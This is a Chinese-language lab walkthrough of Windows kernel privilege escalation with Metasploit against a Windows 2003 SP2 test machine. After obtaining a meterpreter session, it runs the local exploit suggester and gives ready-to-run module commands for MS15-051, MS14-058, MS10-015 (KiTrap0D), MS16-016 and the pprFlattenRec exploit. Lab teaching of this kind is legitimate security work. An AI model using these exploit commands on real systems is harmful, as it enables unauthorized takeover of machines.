windows内核提权漏洞
环境:
Kali Linux(攻击机) 192.168.190.141
Windows2003SP2(靶机) 192.168.190.147
0x01寻找可利用的exp
实战中我们在拿到一个反弹shell后(meterpreter)下一步会进行提权操作,而metaspolit的内置模块Local Exploit Suggester。这个模块可以帮助我们识别系统存在哪些漏洞可以被利用,并且为我们提供最合适的exp,通过这个exp我们可以进一步提权。
如下图,有一个普通用户权限的会话
在拿到meterpreter会话的前提下,我们可以利用这个模块进行收集
可以看到我这里有和目标机的一个session会话,id为4,我们使用local_exploit_suggester模块
use post/multi/recon/local_exploit_suggester set LHOST 192.168.190.141 set SESSION 1 Exploit
如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。
0x02 利用exp提权
根据metaspolit的内置模块Local Exploit Suggester模块列出的可利用模块,我们来进行提权,提权成功后会返回新的、提升权限成功后的session会话。
选取了几个常见的可利用的模块来进行提权演示。
Windows ClientCopyImage Win32k Exploit(ms15_051)
Windows内核模式驱动程序中的漏洞让攻击者可以进行提权。
这个模块利用了win32k.sys内核模式驱动程序中不正确的对象处理。
使用模块 查看设置的参数
设置参数 提权
use exploit/windows/local/ms15_051_client_copy_image set lhost 192.168.190.141 set session 4 exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference(ms14_058)
该模块利用了win32k.sys中的NULL Pointer Dereference,这个漏洞可以通过使用TrackPopupMenu来触发。在特定情况下,可以在xxxSendMessage Timeout上滥用NULL Pointer Dereference来获取任意代码执行。
这个模块已经在Windows XP SP3,Windows Server 2003 SP2,Windows7 SP1,Windows Server2008 32位和Windows Server2008R2 SP164位上测试过。
use exploit/windows/local/ms14_058_track_popup_menu set lhost 192.168.190.141 set session 4 exploit
通过KiTrap0D进行Windows系统提权(ms10_015)
这个模块会通过Kitrap0D这个exp来生成一个SYSTEM权限的新会话,如果当前会话已经是SYSTEM权限,那么这个脚本将不起作用。这个脚本依赖于kitrap0d.x86.dll这个文件,而且不支持64位的Windows操作系统。
该模块已经在存在漏洞的Windows Server 2003,Windows Server 2008,Windows7和XP上测试过,只限32位操作系统。
use exploit/windows/local/ms10_015_kitrap0d set lhost 192.168.190.141 set session 4 exploit
mrxdav.sys WebDav本地提权(MS16-016)
这个exp利用的是mrxdav.sys中的漏洞,漏洞编号是MS16-016。该模块会在目标主机上生成一个进程,并通过在特权进程的环境下执行指定的payload来提权。
该模块在存在漏洞的Windows7 SP1 x86架构上测试过可行。
use exploit/windows/local/ms16_016_webdav set lhost 192.168.190.141 set session 4 exploit
EPATHOBJ::pprFlattenRec本地提权
这个漏洞是由于EPATHOBJ::pprFlattenRec使用了未初始化的数据而产生的,该漏洞可以对内存产生破坏。
而我们的这个脚本就是利用这个漏洞来提权的。
这个模块已经在Windows XP SP3,Windows2003SP1和Windows7SP1上成功执行。
use exploit/windows/local/ppr_flatten_rec set lhost 192.168.190.141 set session 4 exploit